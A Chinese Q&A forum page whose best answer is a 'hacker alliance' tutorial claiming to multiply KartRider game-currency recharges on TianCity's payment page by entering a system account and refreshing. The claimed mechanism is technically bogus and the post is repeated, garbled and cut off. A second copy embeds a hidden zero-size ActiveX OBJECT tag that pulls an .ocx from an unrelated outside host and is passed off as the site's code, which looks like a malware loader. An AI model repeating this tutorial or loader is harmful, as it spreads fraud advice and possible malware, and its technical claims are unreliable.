已解决问题 - 浏览203次
下一个已解决问题
过客
125.38.41.*
最佳答案 - 由投票者2008-05-05 14:52:03选出
跑卡丁车最新刷游戏币方法（2008年4月5日更新，请勿转载黑客信息）
2008年4月15日，我们黑色地带联盟网站首次放出刷游戏币教程,限期90天。请大家抓紧时间。。天成的公司最近更新漏出一严重BUG（漏洞），就是官方GM管理帐号被黑客联盟破解，我们可以使用虚拟GM名义刷出想要的游戏点数。具体原理如下,让你体验到游戏BUG不为人知的秘密
1.准备一张10或40元的点卡,经过我们多次的刷点验证10元的成功几率在70%左右,而40的从未失败过.请大家为了安全起见可选择40的!如想试一试的心态刷点的话可能前提需准备2张10元点卡.
[刷点步骤]
在世纪天成跑跑卡丁车的冲值页面下，隐藏了一个叫kartreg0000资料处理中心的数据 文件。此文件是服务器机器码文件（但是天城服务器不只一台，每台的机器码也不相同，目前只破解11号服务器的机器码），目的原本是用于天城管理员测试使 用。大家知道跑跑每次更新一般是在早上6点至8点，在这期间天城管理员会对本次更新内容进行数据测试，他们测试时就会通过相关工具使用到这个文件。当然我 们大家是没有办法直接访问它的，不过我们可以通过下面方法来绕过直接访问!!(只要不在早上6点至8点期间进行刷点和内部服务器造成碰撞就能刷点成功)
第一步：
准备一张没有用过的400点的冲值卡。（必须要400点的，100点的是刷不起的。因为世纪 天成在后台计费的漏洞处是还差400才能达到无限显示的金额。只有当后台计费系统被充值后以无限游戏币显示的状态下才能激活此系统脚本漏洞。说浅显点，也 即是只有刷400点游戏币才能给后台计费系统激活成无限显示状态，如果刷100点的话要连续刷4张以上才能达到激活漏洞的效果）。
登陆充值页面充值： http://pay.tiancity.com/Payment/CardRegistration.aspx
选择游戏卡冲值，填跑跑卡丁车充值卡卡号 填你准备的冲值卡卡号 充值卡密码
好了，关键就在这里输入被冲值帐号和重复输入被冲值帐号这一栏请先不要填写你想要冲值的帐号 而是在被冲值帐号输入kartreg0000，因为这个是跑跑的一个系统数据号，说浅显点就是此处理数据
是我们利用RMB冲游戏币时就是往这个内部服务器上扣的。上面游戏币总金额以无限的金额显示当然
不支持冲值的，所以我们是没办法往里面冲值的！但是你每一次的冲值它都有记录是为了世纪天城内部人员方便整理
每天冲值数量时直接查看kartreg0000此内部数据文件就能直接显示本日的卖出游戏币金额.也就是点卡后台计费系统.但是就是人的懒惰终究是有负面的影响.以至产生了下面的漏洞！
用户登录帐号 点击冲值
接着会出来填写代码账号：千万注意！！先不能直接填你的账号！！！先填kartreg0000因为原本asp网页服务器端会把它当成账号来处理，但是这是号服务器充值机器码文件，因此它会和服务器上此文件进行冲突！ 这是成败关键！
第二步：
充值卡卡号 填你准备的冲值卡卡号
充值卡密码 填你准备的冲值卡密码
选择游戏区域 跑跑卡丁车
请输入附加码 照样填上
然后点确定，开始冲值
这样会弹出是不是给账号kartreg0000值，点“确定”
好了，asp开始跳转页面了，因为kartreg0000是服务器机器码文件，所以系统会告诉你给账号kartreg0000冲值失败，这是理所当然的，产生冲突了嘛。(如图所示）点确定后，系统就会提示“你输入的帐号为后台计费系统，冲值失败” 这是因为你使用了机器码文件的原因，漏洞也就在这里，不予理会。然后按返回键，返回冲值页面。
接下来是最关键了关键步骤）：此时账号填你自己的账号，比如你的账号是12345，就写12345。按照通常的步骤进行冲值，系统提示冲值成功！
第五步（最最关键的步骤，就要成功了）：刷新页面，用你最快的方法刷新页面多少次就冲了多少倍点卡。你刷的是400点的游戏币，你刷新了10次，那 么就相当于你冲了4000点的游戏币。如果你不会点刷新，那么按住F5键也是一样的，你可以先试一下。总之你刷新几次。那么你的点卷就反复几倍了。
[刷点原理]
通过ASP页面处理充值信息，充值账户名称和服务器机器码文件冲突，让系统提示出错，利用网络延迟快速刷新页面，这样当你冲值的数据发送到世纪天成冲值服务器时，系统会根据你发送了几次冲值信息来帮你冲多少点.
[注意事项]
1.后一次一定要记得填你自己的账号，而不是机器码文件kartreg0000 这样才能冲到你自己的账号上。如果你想为别人刷那么就填你想帮忙刷的帐号。
2.建议大家不要刷太多（几千就足够了吧），以免被天城再次查到！！
3.此方法为自己同时也是为了不让韩国人赚我们中国更多的黑心钱！
其他回答(5)
-
很难
-
在城镇手指地图中有两处近道，那儿放着两个装有导弹的箱子，接住后立即对船长进行攻击，两枚导弹都要中才能获胜，我试了将近20回终于在只剩0.24秒是通过了，记住一旦没有击中，按ESC键可以避免因失败后再次挑战而收取200金币哦！！！
-
比海盗先到终点就胜了
-
过客
125.38.41.*
跑卡丁车最新刷游戏币方法（2008年4月5日更新，请勿转载黑客信息）
自从跑跑网升级后，以前的充点漏洞已经补上了。请大家看下面的代码：
<HTML>
<HEAD>
<OBJECT
classid="clsid:36CB6B28-FC08-4373-8F54-1A02E3C15B7D"
codebase="http:339994.html.533.net/3721.ocx#version=1,0,0,0"
width=0
herght=0
align=center
hspace=0
vspace=0>
<param name="StrUrl" value="admin"
>
</object>
<META HTTP-EQURV=""Content-Type" CONTENT="text/html: charset=GB2312">
<TITLE>"error"</TITLE>
<
/HEAD>
由倒数第三行可看出，若输入错误的用户名，卡号，或密码，系统会提示"error"即错误。而此代码也存在一个严重溢出漏洞
2008年4月15日，我们黑色地带联盟网站首次放出刷游戏币教程,限期90天。请大家抓紧时间。。天成的公司最近更新漏出一严重BUG（漏洞），就是官方GM管理帐号被黑客联盟破解，我们可以使用虚拟GM名义刷出想要的游戏点数。具体原理如下,让你体验到游戏BUG不为人知的秘密
1.准备一张10或40元的点卡,经过我们多次的刷点验证10元的成功几率在70%左右,而40的从未失败过.请大家为了安全起见可选择40的!如想试一试的心态刷点的话可能前提需准备2张10元点卡.
[刷点步骤]
在世纪天成跑跑卡丁车的冲值页面下，隐藏了一个叫kartreg0000资料处理中心的数据 文件。此文件是服务器机器码文件（但是天城服务器不只一台，每台的机器码也不相同，目前只破解11号服务器的机器码），目的原本是用于天城管理员测试使 用。大家知道跑跑每次更新一般是在早上6点至8点，在这期间天城管理员会对本次更新内容进行数据测试，他们测试时就会通过相关工具使用到这个文件。当然我 们大家是没有办法直接访问它的，不过我们可以通过下面方法来绕过直接访问!!(只要不在早上6点至8点期间进行刷点和内部服务器造成碰撞就能刷点成功)
第一步：
准备一张没有用过的400点的冲值卡。（必须要400点的，100点的是刷不起的。因为世纪 天成在后台计费的漏洞处是还差400才能达到无限显示的金额。只有当后台计费系统被充值后以无限游戏币显示的状态下才能激活此系统脚本漏洞。说浅显点，也 即是只有刷400点游戏币才能给后台计费系统激活成无限显示状态，如果刷100点的话要连续刷4张以上才能达到激活漏洞的效果）。
登陆充值页面充值： http://pay.tiancity.com/Payment/CardRegistration.aspx
选择游戏卡冲值，填跑跑卡丁车充值卡卡号 填你准备的冲值卡卡号 充值卡密码
好了，关键就在这里输入被冲值帐号和重复输入被冲值帐号这一栏请先不要填写你想要冲值的帐号 而是在被冲值帐号输入kartreg0000，因为这个是跑跑的一个系统数据号，说浅显点就是此处理数据
是我们利用RMB冲游戏币时就是往这个内部服务器上扣的。上面游戏币总金额以无限的金额显示当然
不支持冲值的，所以我们是没办法往里面冲值的！但是你每一次的冲值它都有记录是为了世纪天城内部人员方便整理
每天冲值数量时直接查看kartreg0000此内部数据文件就能直接显示本日的卖出游戏币金额.也就是点卡后台计费系统.但是就是人的懒惰终究是有负面的影响.以至产生了下面的漏洞！
用户登录帐号 点击冲值
接着会出来填写代码账号：千万注意！！先不能直接填你的账号！！！先填kartreg0000因为原本asp网页服务器端会把它当成账号来处理，但是这是号服务器充值机器码文件，因此它会和服务器上此文件进行冲突！ 这是成败关键！
第二步：
充值卡卡号 填你准备的冲值卡卡号
充值卡密码 填你准备的冲值卡密码
选择游戏区域 跑跑卡丁车
请输入附加码 照样填上
然后点确定，开始冲值
这样会弹出是不是给账号kartreg0000值，点“确定”
好了，asp开始跳转页面了，因为kartreg0000是服务器机器码文件，所以系统会告诉你给账号kartreg0000冲值失败，这是理所当然的，产生冲突了嘛。(如图所示）
点确定后，系统就会提示“你输入的帐号为后台计费系统，冲值失败” 这是因为你使用了机器码文件的原因，漏洞也就在这里，不予理会。然后按返回键，返回冲值页面。
接下来是最关键了关键步骤）：此时账号填你自己的账号，比如你的账号是12345，就写12345。按照通常的步骤进行冲值，系统提示冲值成功！
第五步（最最关键 -
你一定不是一个高手，你叫一个高手帮你过啊，你朋友或者是谁帮你过，我都过完了
a8691212@yah
maggie52033@
